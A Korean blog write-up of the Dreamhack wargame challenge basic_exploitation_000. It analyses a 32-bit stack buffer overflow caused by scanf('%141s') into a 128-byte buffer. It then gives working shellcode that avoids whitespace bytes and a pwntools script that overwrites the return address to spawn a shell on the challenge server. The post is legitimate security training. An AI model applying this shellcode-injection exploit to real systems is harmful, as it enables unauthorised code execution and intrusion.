Iriton's log
[Dreamhack] Lv.2 : basic_exploitation_000 본문
Description
이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
취약점 분석
a#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
참고 함수
setvbuf()
스트림 버퍼링 및 버퍼 크기를 제어하는 함수이다.
int setvbuf( FILE *stream, char *buffer, int mode, size_t size)
1. stream : 파일 구조체에 대한 포인터
2. buffer : 사용자가 할당한 버퍼
3. mode : 버퍼링 모드
- _IOFBF : 전체 버퍼링. buffer를 버퍼로 사용하고 size를 버퍼 크기로 사용한다.
- _IOLBF : 일부 시스템의 경우 줄 버퍼링을 제공
- _IONBF : buffer 또는 size에 관계없이 버퍼가 사용되지 않는다. (즉시 입출력 되는 걸 의미한다.)
signal
시그널을 처리하기 위한 핸들러를 등록하는 함수이다. 해당 시그널이 발생하면 등록된 핸들러 함수를 호출한다.
void (*signal(int signum, void (*handler)(int)))(int);
1. signum : 등록하려는 시그널 종류를 나타내는 정수
2. handler : 시그널이 발생했을 떄 호출될 함수의 포인터
즉 이 코드는 30초 동안 사용자 입력이 없을 경우 TIME OUT 메세지를 출력하고 프로그램을 종료시킨다.
scanf 함수에서 입력 크기를 제한하기 위해 %141s를 사용하여 최대 141자까지 입력받지만
버퍼의 크기가 0x80으로 총 128바이트이다. 따라서 버퍼 오버플로우가 발생한다.
disassemble 기능을 이용하여 main 함수를 분석해 보면 오른쪽 사진과 같은 스택프레임 구조가 될 것이다.
push ebp : 이전 베이스 포인트를 저장
lea eax, [ebp-0x80] / push eax : 현재 베이스 포인트에서 0x80(128바이트)만큼 뺀 위치에 eax를 저장한다. -> buf 크기가 128바이트라는 뜻. 다음 scanf에서 eax주소부터 담게 됨. eax는 버퍼의 시작 주소를 의미하기 때문이다.
버퍼 시작 주소에서부터 리턴 주소까지 오염시키기 위해서는 136바이트의 값이 필요한데 입력할 수 있는 크기는 141바이트이기 때문에 버퍼 오버플로우가 가능하다.
해당 프로그램에는 우리가 쉘을 실행하기 위해 이용할 만한 함수가 없어서 쉘 코드를 buf에 주입한 뒤에
리턴 주소를 buf의 시작 주소로 주입하면 쉘 코드가 실행되면서 쉘을 실행시킬 수 있다.
따라서 "shellcode + dummy data(무의미한 값, NOP이나 AAA... 같은 것들)+buf 시작 주소"를 작성해야 한다.
또한 쉘 코드의 길이에 따라 dummy data 크기가 달라질 것이다.
Exploit
scanf() 함수에서의 shellcode 작성 시 주의할 점
scanf 함수는 공백, 탭, 개행문자 세 가지 중 하나라도 나오면 입력 버퍼에 있는 값을 가져오는 함수이다.
따라서 그에 해당하는 \x09, \x0a, \x0b, \x0c, \x0d, \x20 가 쉘코드에 들어가면 그 뒤에 있는 값들이 무해화 되기 때문에 우회할 수 있는 쉘코드를 작성해야 한다.
아래 링크를 참고하면 우회 shellcode가 있다.
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80 (25바이트)
code
from pwn import *
# 서버와 연결
p = remote("host3.dreamhack.games", 8490)
# buf = ( 가 입력될 때까지 서버에서부터 문자를 받는다.
p.recvuntil('buf = (')
# recv(10): 10만큼 입력을 받는다. buf에 입력 받은 값을 16바이트 형태 정수로 저장.
buf = int(p.recv(10),16)
# 쉘코드(25) + 더미데이터(106) + 버퍼 시작 주소(10) = 141바이트 가 되도록 페이로드 작성
payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b'a'* 106
payload += p32(buf)
# 페이로드를 서버에 전송
p.sendline(payload)
# 이제부터 사용자와 서버의 상호작용(쉘 코드 얻었으니 우리가 하고 싶은 동작 실행하면 됨)
p.interactive()
exploit 성공
'Pwnable > Wargame' 카테고리의 다른 글
[Dreamhack] Lv.2 : ssp_001 (0) | 2024.05.15 |
---|---|
[Dreamhack] Lv.1 : basic_exploitation_001 (1) | 2024.05.07 |
[Dreamhack] Lv.1 : Return Address Overwrite (0) | 2024.04.10 |
[Dreamhack] Beginner: welcome (0) | 2024.04.02 |
[Dreamhack] Beginner: shell_basic (0) | 2024.04.01 |